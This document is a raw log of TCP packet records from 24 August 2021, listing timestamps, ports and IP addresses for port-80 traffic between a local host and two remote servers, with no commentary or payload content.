Aug 24, 2021 14:01:43.853091002 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.853113890 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853147984 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.853151083 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853185892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853209972 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853230000 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.853235960 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853275061 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.853283882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853317976 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853353024 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853369951 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.853377104 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853400946 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853415966 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.853425980 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853465080 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853466034 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.853502035 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853526115 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853547096 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.853549957 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853573084 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853591919 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.853621006 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853661060 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.853672028 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853697062 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853720903 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853744030 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.853744984 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853769064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853789091 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.853795052 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853820086 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853835106 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.853843927 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853863955 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853883028 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853903055 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853921890 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853943110 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853967905 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853980064 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.853993893 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854017973 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854022026 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854042053 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854067087 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854074955 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854091883 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854100943 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854115963 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854140997 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854165077 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854172945 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854192019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854212999 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854217052 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854239941 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854263067 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854263067 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854289055 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854293108 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854312897 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854320049 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854336977 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854351044 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854362011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854387999 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854387999 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854410887 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854430914 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854434013 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854459047 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854469061 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854481936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854497910 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854505062 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854528904 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854540110 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854552984 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854572058 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854579926 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854604006 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854612112 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854628086 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854651928 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854665041 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854688883 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854691982 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854711056 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854732990 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854734898 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854765892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854789019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854799032 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854810953 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854810953 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854835033 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854856968 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854859114 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854887009 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854887009 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854912043 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854928017 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854934931 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854959011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854969978 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.854981899 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.854998112 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.855005980 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855030060 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855037928 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.855052948 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855067968 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.855078936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855103016 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855103016 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.855144024 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.855144978 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855169058 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855182886 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.855195045 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855220079 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855228901 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.855243921 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855252981 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.855268002 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855282068 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.855290890 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855317116 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855320930 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.855340958 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855360031 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.855362892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855386019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855407953 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.855410099 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855434895 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855437994 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.855454922 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855473995 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855494022 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855518103 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855535030 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.855541945 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855542898 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.855566025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855587959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.855608940 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.855644941 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.855652094 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.932801008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.933618069 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.963150024 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963222027 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963264942 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963304996 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.963315010 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963336945 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.963350058 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963381052 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963387012 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.963412046 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963444948 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963452101 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.963469028 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963509083 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963527918 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.963531971 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963567019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963583946 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.963593006 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963619947 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.963629961 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963658094 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.963661909 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963685036 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.963685036 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963709116 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963711023 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.963731050 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963742018 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.963754892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963781118 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.963782072 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963807106 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963821888 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.963841915 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963854074 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.963875055 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963888884 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.963917017 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.963922024 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963960886 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.963968039 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964005947 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964006901 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964030981 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964050055 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964066982 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964087009 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964112997 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964114904 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964154959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964159012 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964194059 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964200020 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964236021 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964257956 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964281082 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964281082 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964306116 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964319944 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964332104 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964342117 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964356899 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964376926 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964379072 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964402914 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964402914 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964425087 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964431047 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964447021 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964454889 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964466095 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964484930 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964487076 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964509964 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964528084 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964530945 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964549065 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964553118 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964569092 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964589119 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964591026 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964608908 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964631081 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964643955 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964653015 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964677095 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964677095 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964698076 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964700937 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964718103 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964739084 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964740992 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964761019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964782000 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964802980 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964823008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964843035 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964848042 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964873075 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964895964 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964905977 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964920044 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964934111 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964941978 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964958906 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.964961052 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.964981079 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.965001106 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.965023041 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.965035915 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.965043068 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.965060949 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.965076923 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.965080976 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.965101957 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.965102911 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.965122938 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.965132952 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.965142012 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.965162992 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.965186119 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.965243101 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:44.078073025 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.079931021 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.080758095 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.080862045 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.098330975 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098409891 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098412037 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.098468065 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098476887 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.098515034 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098515987 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.098562002 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098565102 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.098604918 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098606110 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.098654032 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.098654985 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098692894 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098695040 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.098715067 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098737001 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.098737955 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098761082 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098767996 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.098783016 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098802090 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.098804951 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098829031 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098836899 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.098854065 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098871946 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.098877907 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098900080 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098905087 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.098923922 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098944902 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.098947048 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098969936 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.098979950 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.098993063 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099015951 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099016905 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.099041939 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099054098 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.099066019 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099077940 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.099087954 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099109888 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099111080 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.099133015 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.099174976 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099199057 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099220037 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099231005 CEST	49728	80	192.168.2.3	188.34.200.103
